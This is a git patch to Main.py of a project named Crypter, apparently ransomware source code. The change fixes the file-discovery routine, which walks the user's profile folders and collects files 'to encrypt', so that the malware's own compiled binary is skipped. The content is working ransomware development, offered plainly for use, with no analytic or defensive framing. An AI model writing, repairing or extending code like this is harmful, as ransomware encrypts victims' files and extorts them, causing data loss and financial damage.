From dc0d972419476d367daa8dea2a12ad1650d920e7 Mon Sep 17 00:00:00 2001 From: sithis Date: Wed, 21 Jun 2017 16:17:01 +0100 Subject: [PATCH] Corrected approach to getting Crypter binary name --- Crypter/Main.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Crypter/Main.py b/Crypter/Main.py index 3c92697..a10acf2 100644 --- a/Crypter/Main.py +++ b/Crypter/Main.py @@ -199,6 +199,7 @@ def find_files(self): @summary: Searches the file system and builds a list of files to encrypt @return: List of files matching the location and filetype criteria ''' + binary_name = os.path.split(sys.argv[0])[1] base_dirs = self.get_base_dirs(os.environ['USERPROFILE']) file_list = [] @@ -211,7 +212,7 @@ def find_files(self): if ( (self.is_valid_filetype(file)) and (file.lower() not in self.FILES_TO_EXCLUDE) and - (file.lower() != __file__) + (file.lower() != binary_name.lower()) ): file_list.append(os.path.join(path, file)) for file in subdirs: @@ -220,7 +221,7 @@ def find_files(self): if ( (self.is_valid_filetype(file)) and (file.lower() not in self.FILES_TO_EXCLUDE) and - (file.lower() != __file__) + (file.lower() != binary_name.lower()) ): file_list.append(os.path.join(path, file))